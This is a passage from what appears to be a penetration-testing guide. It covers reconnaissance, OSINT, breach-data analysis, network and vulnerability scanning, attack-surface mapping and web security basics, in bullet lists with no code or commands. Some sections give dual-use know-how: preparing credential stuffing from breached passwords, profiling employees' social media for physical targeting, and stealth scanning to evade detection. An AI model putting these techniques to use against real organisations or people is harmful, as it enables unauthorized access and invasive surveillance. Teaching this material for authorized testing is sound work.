**Custom wordlists** generated from target-specific terminology\n- **Permutation techniques** generating variations of discovered subdomains\n- **Character set enumeration** for systematically testing patterns\n\nTools like `ffuf`, `gobuster`, and `wfuzz` efficiently brute force subdomains using DNS queries.\n\n**Certificate Transparency Enumeration**\n\nCT logs provide subdomains through certificate issuance:\n\n- **Subdomain discovery** via certificates issued for wildcards and specific hosts\n- **Historical certificates** revealing subdomains no longer active\n- **Cross-referencing** between CT logs and other sources\n\nCT-based enumeration often reveals subdomains missed by brute force techniques.\n\n**Search Engine Discovery**\n\nSearch engines index subdomains through crawling:\n\n- **site: operator** with domain limiting to specific domain\n- **-www exclusion** removing main domain from results\n- **Cached results** potentially revealing removed subdomains\n- **Link analysis** following links to subdomains\n\nSearch engine discovery complements technical enumeration by revealing subdomains based on content rather than DNS.\n\n**DNS Record Analysis**\n\nDNS record types reveal subdomains through relationships:\n\n- **CNAME records** pointing to subdomains\n- **MX records** using subdomain mail servers\n- **NS records** delegating subdomain authority\n- **SRV records** specifying service locations\n\nComprehensive DNS analysis extracts subdomains from all record types, not just A/AAAA records.\n\n### 4.4 Metadata Extraction\n\nFiles and documents contain metadata revealing information about their creation, modification, and authorship.\n\n**Document Metadata**\n\nCommon document types embed extensive metadata:\n\n- **Microsoft Office documents** store author names, company information, revision history, and hidden text\n- **PDF files** contain creator, producer, modification dates, and embedded content\n- **Images** include EXIF data with camera information, GPS coordinates, and editing history\n- **Multimedia files** contain codec information, creation timestamps, and sometimes GPS data\n\nTools like `exiftool`, `pdfid`, and `mat` extract and analyze metadata.\n\n**Metadata Collection Sources**\n\nMetadata can be harvested from multiple locations:\n\n- **Public websites** hosting documents for download\n- **Cloud storage** with public access enabled\n- **Code repositories** containing binary files\n- **Email archives** accessible through search engines\n- **Social media** with uploaded images and documents\n\nAutomated crawlers can systematically collect files for metadata analysis.\n\n**Metadata Analysis**\n\nExtracted metadata provides actionable intelligence:\n\n- **Username patterns** for password spraying or social engineering\n- **Internal system names** revealing network infrastructure\n- **Software versions** indicating potential vulnerabilities\n- **Organizational structure** from document authorship and routing\n- **Geographic locations** from GPS coordinates in images\n\nEach metadata element contributes to target understanding.\n\n**Metadata Risks**\n\nMetadata extraction carries operational considerations:\n\n- **Honeypot documents** planted to track access\n- **Misleading metadata** intentionally inserted\n- **Legal considerations** for document collection\n- **Privacy concerns** when collecting personal information\n\nAnalysts must consider metadata authenticity and collection implications.\n\n### 4.5 Social Media Intelligence\n\nSocial media platforms provide rich intelligence about individuals, relationships, and organizational structures.\n\n**LinkedIn Intelligence**\n\nLinkedIn offers professional information valuable for targeting:\n\n- **Employee names and roles** identifying key personnel\n- **Organizational structure** revealing reporting relationships\n- **Technology stacks** mentioned in profiles\n- **Email patterns** from contact information\n- **Location information** for physical targeting\n\nLinkedIn's professional focus makes it particularly valuable for corporate targeting.\n\n**Twitter Intelligence**\n\nTwitter provides real-time information and technical discussions:\n\n- **Employee activity** revealing interests and expertise\n- **Technical discussions** mentioning specific technologies\n- **Location information** from tweets and profiles\n- **Relationship mapping** through follows and mentions\n- **Incident information** from official accounts\n\nTwitter's public nature and searchability enable comprehensive collection.\n\n**Facebook Intelligence**\n\nFacebook provides personal information about individuals:\n\n- **Profile information** including employment and education\n- **Friend networks** revealing personal relationships\n- **Group memberships** indicating interests and affiliations\n- **Check-in locations** for physical movement patterns\n- **Photos** with tagged individuals and location data\n\nPrivacy settings increasingly restrict Facebook intelligence, but public profiles remain valuable.\n\n**Instagram Intelligence**\n\nInstagram offers visual intelligence and location data:\n\n- **Photos** revealing facilities, equipment, and activities\n- **Geotags** showing physical locations\n- **Stories** providing current activities\n- **Comments** revealing relationships and interests\n- **Hashtags** indicating topics and communities\n\nInstagram's visual nature provides intelligence unavailable through text-based platforms.\n\n### 4.6 Breach Data Analysis\n\nData breaches expose credentials and personal information valuable for targeting and access.\n\n**Breach Data Sources**\n\nBreached data appears in multiple locations:\n\n- **Public paste sites** like Pastebin for initial releases\n- **Dark web markets** selling aggregated breaches\n- **Telegram channels** distributing breached data\n- **Hacking forums** sharing access and credentials\n- **Data breach search engines** like Have I Been Pwned\n\nAccessing some sources requires specialized knowledge and caution.\n\n**Credential Analysis**\n\nBreached credentials provide multiple intelligence vectors:\n\n- **Password patterns** revealing password policies and common passwords\n- **Email formats** confirming address patterns\n- **Username conventions** for system access\n- **Password reuse** across personal and professional accounts\n- **Password hashes** for offline cracking\n\nEach credential element informs targeting and access attempts.\n\n**Credential Stuffing Preparation**\n\nBreached credentials enable credential stuffing attacks:\n\n- **Password normalization** accounting for common variations\n- **Email formatting** applying discovered patterns\n- **Target list creation** focusing on valid credentials\n- **Rate limiting consideration** to avoid account lockouts\n- **Success confirmation** methods for compromised accounts\n\nPreparation ensures efficient credential stuffing during active phases.\n\n**Legal and Ethical Considerations**\n\nBreach data analysis carries significant considerations:\n\n- **Data possession legality** varying by jurisdiction\n- **Consent requirements** for data usage\n- **Privacy obligations** for personal information\n- **Notification requirements** for discovered breaches\n- **Evidence handling** for potential legal proceedings\n\nOrganizations must establish policies for breach data handling.\n\n---\n\n## Chapter 5: Active Reconnaissance\n\n### 5.1 Network Scanning Fundamentals\n\nActive reconnaissance involves directly interacting with target systems to gather information, potentially triggering defensive alerts.\n\n**Scanning Methodologies**\n\nEffective scanning follows structured methodologies:\n\n- **Discovery scanning** identifying live hosts\n- **Port scanning** finding open ports\n- **Service detection** identifying running services\n- **OS fingerprinting** determining operating systems\n- **Vulnerability scanning** identifying known weaknesses\n\nMethodical approaches ensure comprehensive coverage while managing scan traffic.\n\n**Timing Considerations**\n\nScan timing affects both results and detection risk:\n\n- **Scan speed** balancing thoroughness against timeout risk\n- **Concurrent connections** managing target resources\n- **Time of day** considering business hours and maintenance windows\n- **Scan distribution** spreading scans over time to avoid detection\n- **Rate limiting** preventing denial-of-service\n\nAppropriate timing minimizes disruption while gathering necessary information.\n\n**Stealth Techniques**\n\nStealth scanning attempts to avoid detection:\n\n- **Decoy scans** with spoofed source addresses\n- **Fragmented packets** evading simple inspection\n- **Randomized timing** avoiding pattern detection\n- **Distributed scanning** from multiple sources\n- **Protocol-specific techniques** using allowed protocols\n\nStealth techniques trade completeness for reduced detection probability.\n\n**Scanning Tools**\n\nMultiple tools support network scanning:\n\n- **Nmap** remains the industry standard with extensive features\n- **Masscan** enables extremely fast scanning of large networks\n- **Zmap** provides internet-scale scanning capabilities\n- **Unicornscan** offers asynchronous scanning for performance\n- **RustScan** combines speed with Nmap integration\n\nTool selection depends on scan scope, speed requirements, and desired output.\n\n### 5.2 TCP/IP Deep Dive\n\nUnderstanding TCP/IP fundamentals enables advanced scanning and exploitation techniques.\n\n**TCP Three-Way Handshake**\n\nTCP connections establish through a three-way handshake:\n\n1. **SYN** sent from client to server\n2. **SYN-ACK** returned from server to client\n3. **ACK** sent from client to server completing connection\n\nEach step provides opportunities for information gathering and manipulation.\n\n**TCP Flags**\n\nTCP flags control connection state and behavior:\n\n- **SYN** initiates connections\n- **ACK** acknowledges received data\n- **FIN** gracefully terminates connections\n- **RST** abruptly terminates connections\n- **PSH** pushes data immediately to application\n- **URG** marks data as urgent\n- **ECE** indicates ECN capability\n- **CWR** acknowledges ECN notification\n\nFlag combinations produce different responses from target systems, enabling fingerprinting and evasion.\n\n**TCP State Machine**\n\nTCP connections progress through defined states:\n\n- **LISTEN** waiting for connection requests\n- **SYN-SENT** waiting for matching connection request\n- **SYN-RECEIVED** waiting for confirming ACK\n- **ESTABLISHED** data transfer state\n- **FIN-WAIT-1** waiting for FIN or ACK\n- **FIN-WAIT-2** waiting for FIN\n- **CLOSE-WAIT** waiting for application close\n- **CLOSING** waiting for ACK\n- **LAST-ACK** waiting for final ACK\n- **TIME-WAIT** ensuring remote received ACK\n- **CLOSED** no connection state\n\nState analysis reveals system behavior and potential vulnerabilities.\n\n**IP Protocol Stack**\n\nUnderstanding the full IP stack enables comprehensive analysis:\n\n- **Link layer** (Ethernet, Wi-Fi) handles physical transmission\n- **Internet layer** (IP) handles addressing and routing\n- **Transport layer** (TCP, UDP) handles end-to-end communication\n- **Application layer** (HTTP, DNS, SMTP) handles user data\n\nEach layer provides opportunities for observation and manipulation.\n\n### 5.3 Port Scanning Techniques\n\nVarious port scanning techniques provide different information with different detection profiles.\n\n**TCP SYN Scan**\n\nSYN scanning, the default in Nmap, balances speed and stealth:\n\n- **SYN packet** sent to target port\n- **SYN-ACK response** indicates open port\n- **RST response** indicates closed port\n- **No response** may indicate filtered port\n- **Connection not completed** avoiding application logs\n\nSYN scans appear in network logs but may not reach application logs.\n\n**TCP Connect Scan**\n\nConnect scans complete the three-way handshake:\n\n- **Full connection** established to target port\n- **Application logging** may record connection\n- **Reliable results** with fewer false positives\n- **Higher detection probability** from complete connections\n- **Root privileges not required** unlike SYN scans\n\nConnect scans provide reliability at the cost of stealth.\n\n**UDP Scanning**\n\nUDP scanning proves more difficult than TCP:\n\n- **No handshake** in UDP protocol\n- **ICMP unreachable** indicates closed port\n- **No response** may indicate open or filtered\n- **Service-specific probes** required for confirmation\n- **Slower scanning** due to timeout requirements\n\nUDP scanning requires patience and often service-specific techniques.\n\n**TCP FIN, NULL, XMAS Scans**\n\nThese scans exploit RFC compliance variations:\n\n- **FIN scan** sends FIN flag only\n- **NULL scan** sends no flags\n- **XMAS scan** sends FIN, URG, PUSH flags\n- **Closed ports respond with RST** per RFC\n- **Open ports ignore packets** per RFC\n\nNon-compliant systems may produce different results, enabling fingerprinting.\n\n### 5.4 Service Enumeration\n\nIdentifying specific services enables targeted exploitation and vulnerability matching.\n\n**Service Detection Methods**\n\nServices can be identified through multiple techniques:\n\n- **Port numbers** providing initial service guesses\n- **Banner grabbing** reading service identification strings\n- **Probe responses** analyzing protocol-specific replies\n- **Behavior analysis** observing service behavior patterns\n- **Version fingerprinting** matching responses to databases\n\nComprehensive service enumeration combines multiple methods.\n\n**Banner Grabbing**\n\nService banners often reveal version information:\n\n- **Telnet** connecting to service ports\n- **Netcat** for raw banner retrieval\n- **Service-specific clients** (HTTP, FTP, SMTP clients)\n- **Automated tools** like Nmap's service probes\n- **SSL/TLS certificate** analysis for encrypted services\n\nBanners may be misleading or intentionally deceptive.\n\n**Service Fingerprinting**\n\nFingerprinting analyzes subtle service variations:\n\n- **TCP/IP stack** differences between implementations\n- **Application behavior** unique to specific versions\n- **Response timing** variations between services\n- **Error message** content revealing implementation details\n- **Protocol extensions** indicating specific software\n\nFingerprinting identifies services even when banners are hidden.\n\n**Version Detection Databases**\n\nDetection relies on comprehensive signature databases:\n\n- **Nmap service probes** and matching signatures\n- **Common Platform Enumeration (CPE)** standardized identifiers\n- **National Vulnerability Database (NVD)** vulnerability mapping\n- **Exploit-DB** linking versions to exploits\n- **Vulners** vulnerability database integration\n\nUp-to-date databases are essential for accurate identification.\n\n### 5.5 Banner Grabbing\n\nBanner grabbing extracts service identification information through direct interaction.\n\n**Active Banner Grabbing**\n\nActive grabbing connects directly to services:\n\n- **HTTP HEAD requests** retrieving server headers\n- **FTP connection** revealing server software\n- **SMTP HELO/EHLO** exposing mail server details\n- **SSH connection** showing version information\n- **Database queries** (MySQL, PostgreSQL version functions)\n\nEach protocol provides unique banner opportunities.\n\n**Passive Banner Grabbing**\n\nPassive grabbing captures banners from existing traffic:\n\n- **Network sniffing** capturing service banners\n- **Proxy logs** recording server headers\n- **Error pages** cached by search engines\n- **Traffic analysis** of legitimate connections\n- **PCAP analysis** from previous captures\n\nPassive grabbing avoids direct interaction detection.\n\n**Encrypted Service Grabbing**\n\nTLS/SSL encryption complicates banner grabbing:\n\n- **Certificate analysis** extracting server information\n- **TLS handshake** examining supported cipher suites\n- **ALPN negotiation** revealing application protocols\n- **SNI information** from client connections\n- **OCSP responses** containing server details\n\nCertificate Transparency logs provide additional intelligence.\n\n**Automation Considerations**\n\nAutomated banner grabbing requires careful implementation:\n\n- **Connection management** avoiding resource exhaustion\n- **Rate limiting** preventing detection\n- **Error handling** for inconsistent services\n- **Timeout configuration** for unresponsive services\n- **Output parsing** for consistent result formatting\n\nWell-designed automation scales banner collection efficiently.\n\n### 5.6 Vulnerability Scanning\n\nAutomated vulnerability scanning identifies known weaknesses for potential exploitation.\n\n**Scanner Architecture**\n\nVulnerability scanners typically include:\n\n- **Discovery engine** identifying live hosts and services\n- **Vulnerability database** with known issue signatures\n- **Checking engine** applying tests to targets\n- **Reporting engine** generating findings documentation\n- **Update mechanism** maintaining current signatures\n\nArchitecture affects scan speed, accuracy, and resource usage.\n\n**Common Scanners**\n\nMultiple vulnerability scanners serve different purposes:\n\n- **Nessus** industry standard with extensive plugin library\n- **OpenVAS** open-source alternative with similar capabilities\n- **Qualys** cloud-based scanning with continuous monitoring\n- **Nexpose** Rapid7 scanner with Metasploit integration\n- **Nikto** web-focused vulnerability scanner\n\nTool selection depends on budget, integration requirements, and target types.\n\n**Scan Types**\n\nVulnerability scans vary by approach:\n\n- **Authenticated scans** using credentials for deeper assessment\n- **Unauthenticated scans** simulating external attackers\n- **Compliance scans** checking against specific standards\n- **Discovery scans** identifying potential issues quickly\n- **Full audit scans** comprehensive testing of all plugins\n\nEach type serves different purposes with different resource requirements.\n\n**False Positives and Validation**\n\nVulnerability scanners inevitably produce false positives:\n\n- **Confidence levels** indicating detection reliability\n- **Manual validation** confirming actual vulnerabilities\n- **Exploit testing** proving exploitability\n- **Contextual analysis** considering environment specifics\n- **Risk scoring** based on validated findings\n\nEffective scanning includes validation processes to eliminate false positives.\n\n---\n\n## Chapter 6: Attack Surface Mapping\n\n### 6.1 External vs Internal Surfaces\n\nAttack surface mapping distinguishes between externally accessible and internally reachable systems.\n\n**External Attack Surface**\n\nExternal surfaces are accessible from the internet:\n\n- **Web applications** and APIs\n- **Mail servers** (SMTP, POP3, IMAP)\n- **Remote access services** (VPN, RDP, SSH)\n- **DNS servers** and name services\n- **Cloud services** (S3 buckets, Azure Blob)\n- **Partner connections** and extranets\n\nExternal surfaces face constant attack attempts and require robust defenses.\n\n**Internal Attack Surface**\n\nInternal surfaces are accessible only from within networks:\n\n- **Internal applications** and intranet sites\n- **File servers** and network shares\n- **Domain controllers** and authentication services\n- **Database servers** housing sensitive data\n- **Printers** and IoT devices\n- **Development and test environments**\n\nInternal surfaces become accessible after initial compromise.\n\n**Surface Relationships**\n\nExternal and internal surfaces interconnect:\n\n- **VPN access** bridging external to internal\n- **Web applications** connecting to internal databases\n- **Cloud synchronization** with on-premises systems\n- **Remote management** tools accessible externally\n- **Third-party integrations** crossing boundaries\n\nUnderstanding relationships reveals attack paths crossing surface boundaries.\n\n**Mapping Methodologies**\n\nComprehensive mapping combines multiple approaches:\n\n- **External scanning** identifying internet-facing systems\n- **Internal discovery** using compromised footholds\n- **Passive monitoring** observing network traffic\n- **Configuration review** analyzing architecture documents\n- **Cloud provider enumeration** discovering cloud assets\n\nMethodical approaches ensure complete coverage.\n\n### 6.2 Shadow IT Discovery\n\nShadow IT\u2014systems deployed without IT department knowledge\u2014creates significant risk.\n\n**Common Shadow IT Systems**\n\nShadow IT includes various unauthorized technologies:\n\n- **Cloud applications** (SaaS subscriptions)\n- **Development servers** for testing and staging\n- **IoT devices** connected to corporate networks\n- **Personal devices** accessing corporate data\n- **File sharing services** for collaboration\n- **Communication tools** outside approved channels\n\nEach represents potential security gaps.\n\n**Discovery Techniques**\n\nFinding shadow IT requires multiple detection methods:\n\n- **Network traffic analysis** identifying unknown services\n- **DNS logs** revealing unrecognized domains\n- **Cloud access logs** from sanctioned providers\n- **Financial records** showing unauthorized subscriptions\n- **Employee surveys** identifying unofficial tools\n- **Endpoint detection** finding unauthorized software\n\nCombined techniques improve detection rates.\n\n**Risk Assessment**\n\nShadow IT risks vary by type and data exposure:\n\n- **Data sensitivity** stored or processed\n- **Access controls** and authentication strength\n- **Vendor security** posture and practices\n- **Integration** with sanctioned systems\n- **Compliance impact** from regulatory violations\n\nRisk assessment prioritizes remediation efforts.\n\n**Remediation Approaches**\n\nAddressing shadow IT requires balanced approaches:\n\n- **Education** about approved alternatives\n- **Technical controls** blocking unauthorized services\n- **Process improvement** meeting legitimate needs\n- **Gradual migration** from shadow to sanctioned\n- **Acceptable use** policies with enforcement\n\nPurely punitive approaches often drive shadow IT underground.\n\n### 6.3 Cloud Asset Discovery\n\nCloud environments introduce unique discovery challenges.\n\n**Multi-Cloud Complexity**\n\nOrganizations increasingly use multiple cloud providers:\n\n- **AWS** with global infrastructure\n- **Microsoft Azure** integrated with Windows ecosystems\n- **Google Cloud Platform** strong in data analytics\n- **Oracle Cloud** for specific workloads\n- **Alibaba Cloud** for Asia-Pacific operations\n\nEach requires specific discovery approaches.\n\n**Discovery Methods**\n\nCloud asset discovery combines multiple techniques:\n\n- **Provider APIs** enumerating resources directly\n- **DNS enumeration** revealing cloud-hosted services\n- **Certificate logs** identifying cloud certificates\n- **Cloud storage** enumeration for public buckets\n- **GitHub searches** finding cloud configuration files\n- **Marketplace listings** for SaaS integrations\n\nAutomated tools integrate multiple discovery methods.\n\n**Configuration Analysis**\n\nCloud misconfigurations create significant risk:\n\n- **Public storage** exposing sensitive data\n- **Over-permissive IAM** allowing excessive access\n- **Unrestricted security groups** exposing services\n- **Missing encryption** for data at rest or in transit\n- **Disabled logging** reducing visibility\n- **Default credentials** remaining unchanged\n\nConfiguration review identifies these issues.\n\n**Cloud-Specific Tools**\n\nSpecialized tools assist cloud discovery:\n\n- **Pacu** AWS exploitation framework\n- **Scout Suite** multi-cloud security auditing\n- **CloudSploit** cloud security scanning\n- **CloudMapper** AWS visualization and analysis\n- **AzureHound** Azure Active Directory enumeration\n\nTool selection depends on target cloud providers.\n\n### 6.4 Third-Party Risk\n\nThird-party relationships expand attack surface beyond organizational control.\n\n**Third-Party Types**\n\nOrganizations interact with diverse third parties:\n\n- **Vendors** providing products and services\n- **Suppliers** in the supply chain\n- **Partners** with integrated systems\n- **Contractors** accessing internal resources\n- **Customers** with portal access\n- **Service providers** handling data\n\nEach relationship creates potential risk.\n\n**Discovery Approaches**\n\nFinding third-party connections requires investigation:\n\n- **Network traffic** to external IP ranges\n- **DNS queries** for vendor domains\n- **Authentication logs** showing external access\n- **Procurement records** identifying vendors\n- **Web links** to partner sites\n- **Email communications** with external domains\n\nComprehensive discovery identifies all third-party connections.\n\n**Risk Assessment Factors**\n\nThird-party risk depends on multiple factors:\n\n- **Data access** level and sensitivity\n- **Integration depth** with internal systems\n- **Security posture** of the third party\n- **Contractual protections** and oversight\n- **Business criticality** of the relationship\n- **Regulatory implications** of third-party access\n\nAssessment prioritizes high-risk relationships.\n\n**Testing Considerations**\n\nThird-party testing presents unique challenges:\n\n- **Authorization requirements** for third-party testing\n- **Scope limitations** from contractual boundaries\n- **Coordination needs** with external parties\n- **Testing windows** accommodating third-party schedules\n- **Reporting responsibilities** for findings\n\nTesting must respect third-party boundaries while assessing risk.\n\n### 6.5 API & Microservices Mapping\n\nModern applications increasingly expose APIs and microservices requiring specialized mapping.\n\n**API Discovery Sources**\n\nAPIs can be discovered through multiple channels:\n\n- **Web application analysis** identifying API calls\n- **Documentation review** from developer portals\n- **Mobile app reverse engineering** revealing endpoints\n- **Network traffic** capturing API interactions\n- **DNS enumeration** for API subdomains (api.target.com)\n- **GitHub searches** for API specifications\n\nEach source contributes to comprehensive API maps.\n\n**API Types**\n\nAPIs use various architectural styles:\n\n- **REST APIs** most common with HTTP methods\n- **GraphQL APIs** flexible query languages\n- **SOAP APIs** XML-based with WSDL definitions\n- **gRPC APIs** high-performance RPC framework\n- **WebSocket APIs** real-time bidirectional communication\n- **Webhooks** event-driven integrations\n\nEach type requires specific testing approaches.\n\n**Microservices Architecture**\n\nMicroservices introduce complexity in mapping:\n\n- **Service discovery** mechanisms locating services\n- **API gateways** routing requests to services\n- **Service meshes** managing service-to-service communication\n- **Container orchestration** (Kubernetes) hosting services\n- **Serverless functions** ephemeral compute units\n\nUnderstanding architecture enables comprehensive testing.\n\n**Documentation Analysis**\n\nAPI documentation provides valuable intelligence:\n\n- **OpenAPI/Swagger** specifications\n- **Postman collections** for testing\n- **GraphQL schemas** exposing all queries\n- **WSDL files** for SOAP services\n- **Developer guides** with usage examples\n- **Changelog entries** revealing endpoint changes\n\nDocumentation often reveals more than active exploration.\n\n---\n\n# PART III \u2013 WEB APPLICATION PENETRATION TESTING\n\n## Chapter 7: Web Fundamentals\n\n### 7.1 HTTP/HTTPS Deep Dive\n\nUnderstanding HTTP/HTTPS fundamentals is essential for web application testing.\n\n**HTTP Request Structure**\n\nHTTP requests contain multiple components:\n\n- **Method** (GET, POST, PUT, DELETE, etc.)\n- **Path** requesting specific resources\n- **Headers** providing metadata (Host, User-Agent, Cookie)\n- **Body** for methods like POST containing data\n- **Version** indicating HTTP protocol version\n\nEach component can be manipulated for testing.\n\n**HTTP Response Structure**\n\nResponses similarly contain structured components:\n\n- **Status code** indicating result (200 OK, 404 Not Found, 500 Internal Error)\n- **Headers** providing metadata (Content-Type, Set-Cookie)\n- **Body** containing requested content\n- **Version** indicating HTTP protocol version\n\nStatus codes guide testing and exploitation approaches.\n\n**HTTP Methods**\n\nHTTP methods serve different purposes:\n\n- **GET** retrieves resources (should not modify state)\n- **POST** submits data (modifies state)\n- **PUT** replaces resources\n- **DELETE** removes resources\n- **PATCH** partially modifies resources\n- **HEAD** retrieves headers only\n- **OPTIONS** discovers allowed methods\n- **TRACE** echoes request for debugging\n\nMethod restrictions often misconfigured create vulnerabilities.\n\n**HTTPS/TLS**\n\nHTTPS encrypts HTTP traffic using TLS:\n\n- **Certificate validation** verifying server identity\n- **Cipher suite negotiation** selecting encryption\n- **Perfect forward secrecy** protecting past sessions\n- **HSTS** forcing HTTPS connections\n- **Certificate pinning** preventing rogue certificates\n\nTLS configuration weaknesses enable interception or decryption.\n\n### 7.2 Authentication & Sessions\n\nAuthentication verifies identity; sessions maintain authenticated state.\n\n**Authentication Methods**\n\nWeb applications implement various authentication approaches:\n\n- **Basic authentication** sending credentials in headers\n- **Form-based authentication** submitting credentials via HTML forms\n- **Token-based authentication** (JWT, OAuth tokens)\n- **Multi-factor authentication** requiring additional factors\n- **Certificate-based authentication** using client certificates\n- **Single sign-on** (SAML, OIDC) federating identity\n\nEach method has specific vulnerabilities.\n\n**Session Management**\n\nSessions track authenticated users:\n\n- **Session cookies** stored by browsers\n- **Session tokens** in URLs (less secure)\n- **Hidden form fields** maintaining state\n- **HTML5 Web Storage** (sessionStorage, localStorage)\n- **Server-side sessions** with client identifiers\n\nWeak session management enables session hijacking.\n\n**Session Attacks**\n\nCommon session attacks include:\n\n- **Session fixation** forcing known session IDs\n- **Session hijacking** stealing valid session tokens\n- **Session replay** reusing captured sessions\n- **Cross-site request forgery** (CSRF) using active sessions\n- **Session timeout bypass** extending expired sessions\n\nTesting verifies session management security.\n\n**Secure Implementation**\n\nSecure session management requires:\n\n- **Strong session ID generation** (random, unpredictable)\n- **Secure cookie flags** (HttpOnly, Secure, SameSite)\n- **Proper session expiration** (inactivity, absolute)\n- **Session regeneration** after privilege changes\n- **Binding sessions** to client characteristics\n\nEach control prevents specific attacks.\n\n### 7.3 Cookies & Tokens\n\nCookies and tokens maintain state and authentication across requests.\n\n**Cookie Attributes**\n\nCookies include security-critical attributes:\n\n- **HttpOnly** prevents JavaScript access\n- **Secure** restricts to HTTPS connections\n- **SameSite** controls cross-site sending\n- **Domain** specifies valid domains\n- **Path** limits URL scope\n- **Expires/Max-Age** sets lifetime\n- **Priority** indicates importance\n\nAttribute misconfiguration creates vulnerabilities.\n\n**Cookie Attacks**\n\nCookies face multiple attack vectors:\n\n- **Theft** via XSS or network interception\n- **Forge** through weak generation\n- **Fixation** setting known values\n- **Overflow** with excessive size\n- **Poisoning** modifying values\n\nTesting assesses cookie security.\n\n**Token Types**\n\nAuthentication tokens use various formats:\n\n- **JSON Web Tokens (JWT)** self-contained with claims\n- **OAuth tokens** for delegated authorization\n- **SAML assertions** XML-based authentication\n- **Bearer tokens** simple authorization strings\n- **Refresh tokens** obtaining new access tokens\n\nEach type has specific security considerations.\n\n**JWT Security**\n\nJWT requires careful implementation:\n\n- **Signature verification** preventing forgery\n- **Algorithm validation** avoiding none algorithm\n- **Claim validation** checking expiration and audience\n- **Key management** protecting signing keys\n- **Encryption** for sensitive claims\n\nJWT vulnerabilities often enable authentication bypass.\n\n### 7.4 Same-Origin Policy\n\nSame-Origin Policy (SOP) restricts cross-origin interactions fundamental to web security.\n\n**Origin Definition**\n\nOrigin comprises three components:\n\n- **Protocol** (http, https)\n- **Host** (domain name or IP)\n- **Port** (80, 443, custom)\n\nChanges to any component create different origins.\n\n**SOP Restrictions**\n\nSOP limits cross-origin operations:\n\n- **DOM access** prohibited across origins\n- **Cookie access** restricted to matching origins\n- **JavaScript reading** limited to same origin\n- **AJAX responses** blocked from other origins\n- **Storage access** (localStorage) origin-bound\n\nThese restrictions prevent malicious sites from accessing other origins' data.\n\n**SOP Exceptions**\n\nCertain operations are intentionally exempt:\n\n- **Links** can target other origins\n- **Forms** can submit to other origins\n- **Scripts** can load from other origins\n- **Images** can display from other origins\n- **CSS** can include from other origins\n- **Frames** can embed other origins\n\nExceptions enable functionality but create risks.\n\n**SOP Bypasses**\n\nVarious techniques bypass SOP:\n\n- **Cross-origin resource sharing** (CORS) intentionally relaxing\n- **PostMessage** for controlled cross-origin communication\n- **JSONP** using script tags for data\n- **DNS rebinding** changing IP associations\n- **Protocol-based bypasses** (http/https confusion)\n\nTesting identifies unintended bypasses.\n\n### 7.5 CORS\n\nCross-Origin Resource Sharing (CORS) selectively relaxes SOP.\n\n**CORS Headers**\n\nCORS uses specific HTTP headers:\n\n- **Access-Control-Allow-Origin** specifies allowed origins\n- **Access-Control-Allow-Credentials** allows cookies\n- **Access-Control-Allow-Methods** permitted HTTP methods\n- **Access-Control-Allow-Headers** permitted request headers\n- **Access-Control-Expose-Headers** readable response headers\n- **Access-Control-Max-Age** preflight cache duration\n- **Access-Control-Request-Method** preflight request method\n- **Access-Control-Request-Headers** preflight request headers\n\nHeader misconfiguration enables unauthorized access.\n\n**Preflight Requests**\n\nCertain requests trigger preflight OPTIONS:\n\n- **Non-standard methods** (PUT, DELETE)\n- **Custom headers** beyond simple headers\n- **Special content types** (application/json)\n- **Credentials inclusion** with cookies\n\nPreflight checks server CORS configuration.\n\n**CORS Vulnerabilities**\n\nCommon CORS misconfigurations include:\n\n- **Reflective origins** echoing any origin\n- **Null origin** overly permissive\n- **Wildcard with credentials** impossible (spec prohibits)\n- **Trusted origins** including attacker domains\n- **Configuration errors** exposing internal systems\n\nEach vulnerability potentially enables data theft.\n\n**CORS Testing**\n\nCORS testing examines configuration:\n\n- **Origin reflection** checking header echo\n- **Credentials testing** with cookie inclusion\n- **Method enumeration** testing allowed methods\n- **Header testing** confirming restrictions\n- **Preflight analysis** examining OPTIONS responses\n\nThorough testing identifies misconfigurations.\n\n---\n\n## Chapter 8: OWASP Top 10 Deep Dive\n\n### 8.1 Broken Access Control\n\nAccess control failures consistently rank among the most critical web application vulnerabilities.\n\n**Access Control Fundamentals**\n\nAccess control determines who can access what:\n\n- **Authentication** verifies identity\n- **Authorization** determines permissions\n- **Session management** maintains authentication state\n- **Access control models** (RBAC, ABAC, MAC) define rules\n\nFailures in any component enable unauthorized access.\n\n**Common Access Control Vulnerabilities**\n\nFrequent access control issues include:\n\n- **Insecure direct object references (IDOR)** accessing unauthorized objects via predictable identifiers\n- **Missing function-level controls** accessing privileged functions\n- **Privilege escalation** gaining higher permissions\n- **Mass assignment** modifying unauthorized fields\n- **CORS misconfiguration** enabling cross-origin access\n- **Force browsing** accessing hidden resources\n\nEach vulnerability allows unauthorized operations.\n\n**IDOR Exploitation**\n\nIDOR vulnerabilities enable object access through identifier manipulation:\n\n- **Sequential IDs** easily guessed (user/123, user/124)\n- **UUID exposure** predictable despite appearance\n- **Parameter manipulation** changing identifiers in requests\n- **Path traversal** accessing parent directories\n- **Reference exposure** through API responses\n\nExploitation often reveals extensive unauthorized access.\n\n**Testing Methodology**\n\nAccess control testing follows systematic approaches:\n\n- **Privilege mapping** documenting available functions\n- **Low-privilege testing** attempting high-privilege actions\n- **Cross-role testing** accessing other users' data\n- **Direct request testing** bypassing UI restrictions\n- **Parameter manipulation** testing identifier changes\n- **HTTP method testing** using unintended methods\n\nComprehensive testing verifies access control effectiveness.\n\n### 8.2 Cryptographic Failures\n\nCryptographic failures expose sensitive data through weak encryption or implementation errors.\n\n**Sensitive Data Exposure**\n\nApplications handle various sensitive data types:\n\n- **Personally identifiable information (PII)** names, addresses, SSNs\n- **Financial data** credit cards, bank accounts\n- **Authentication credentials** passwords, tokens\n- **Health information** medical records\n- **Intellectual property** source code, trade secrets\n- **Session identifiers** cookies, tokens\n\nEach requires protection based on classification.\n\n**Transport Layer Security**\n\nTLS protects data in transit:\n\n- **Protocol versions** (TLS 1.2, 1.3 current; SSL, TLS 1.0 deprecated)\n- **Cipher suites** selecting encryption algorithms\n- **Certificate validation** ensuring server identity\n- **HSTS** enforcing HTTPS connections\n- **Certificate transparency** detecting misissuance\n\nWeak TLS configuration enables interception.\n\n**Storage Encryption**\n\nData at rest requires encryption:\n\n- **Database encryption** transparent or column-level\n- **File encryption** for stored documents\n- **Backup encryption** protecting archives\n- **Key management** securing encryption keys\n- **Algorithm selection** (AES-256 preferred)\n\nStorage encryption failures expose data in breaches.\n\n**Cryptographic Implementation**\n\nImplementation mistakes undermine cryptography:\n\n- **Weak algorithms** (MD5, SHA1, RC4)\n- **Insufficient key lengths** (<2048-bit RSA)\n- **Hardcoded keys** in source code\n- **Predictable random generation** enabling attacks\n- **Padding oracle vulnerabilities** (CBC mode)\n- **Timing attacks** leaking information\n\nProper implementation requires cryptographic expertise.\n\n### 8.3 